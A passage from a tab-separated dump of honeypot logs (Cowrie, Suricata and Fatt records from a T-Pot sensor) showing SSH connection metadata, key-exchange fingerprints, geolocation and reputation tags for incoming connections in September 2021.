"protocol": "ssh", "src_port": 49760, "dest_port": 22, "timestamp": "2021-09-20T11:43:22.271966Z", "@timestamp": "2021-09-20T11:43:22.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31205	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:43:21.721668+03	2021-09-20 14:45:04.186142+03	{"_id": "eAYEA3wBvYTbRNuEjkKR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "bfbe28edbd32", "@version": "1", "duration": 1.3520402908325195, "timestamp": "2021-09-20T11:43:21.721668Z", "@timestamp": "2021-09-20T11:43:21.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31206	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:43:22.274903+03	2021-09-20 14:45:04.188142+03	{"_id": "eQYEA3wBvYTbRNuEjkKR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "de5d8481886a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:22.274903Z", "@timestamp": "2021-09-20T11:43:22.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31207	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:43:22.383601+03	2021-09-20 14:45:04.189142+03	{"_id": "egYEA3wBvYTbRNuEjkKR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "de5d8481886a", "@version": "1", "timestamp": "2021-09-20T11:43:22.383601Z", "@timestamp": "2021-09-20T11:43:22.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31208	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:43:22.383014+03	2021-09-20 14:45:04.190142+03	{"_id": "ewYEA3wBvYTbRNuEkEJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:22.213396+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1576355873046932, "payload": "AAADzAYUg9wdihL1ZESoBrBt28gESQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49760, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:22.383014Z", "@timestamp": "2021-09-20T11:43:22.383Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............dD...m...I...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31209	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:43:22.383014+03	2021-09-20 14:45:04.191142+03	{"_id": "fQYEA3wBvYTbRNuEkUI8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49760, "dest_port": 22, "timestamp": "2021-09-20T11:43:22.383014", "@timestamp": "2021-09-20T11:43:22.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31221	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.724339+03	2021-09-20 14:45:04.207142+03	{"_id": "xQYEA3wBvYTbRNuEwUJh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "3238ff6461d8", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:43:34.724339Z", "@timestamp": "2021-09-20T11:43:34.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
31210	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:43:24.468336+03	2021-09-20 14:45:04.193141+03	{"_id": "hQYEA3wBvYTbRNuEmEIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6226, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 42, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2130060909486454, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55043, "timestamp": "2021-09-20T11:43:24.468336Z", "@timestamp": "2021-09-20T11:43:24.468Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31211	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:25.067815+03	2021-09-20 14:45:04.194142+03	{"_id": "hwYEA3wBvYTbRNuEmUIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34630, "timestamp": "2021-09-20T11:43:25.067815", "@timestamp": "2021-09-20T11:43:25.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31212	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:43:25.115827+03	2021-09-20 14:45:04.195142+03	{"_id": "igYEA3wBvYTbRNuEmUIQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34630, "dest_port": 22, "timestamp": "2021-09-20T11:43:25.115827", "@timestamp": "2021-09-20T11:43:25.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31213	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:43:25.116472+03	2021-09-20 14:45:04.197143+03	{"_id": "lAYEA3wBvYTbRNuEmkJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2a408d80a551", "@version": "1", "timestamp": "2021-09-20T11:43:25.116472Z", "@timestamp": "2021-09-20T11:43:25.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31214	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:43:25.115827+03	2021-09-20 14:45:04.198143+03	{"_id": "lwYEA3wBvYTbRNuEnEIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:25.012719+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1208732442505647, "payload": "AAADzAYU7fzayaMj+2myTN5jIE7k1AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34630, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:25.115827Z", "@timestamp": "2021-09-20T11:43:25.115Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........#.i.L.c 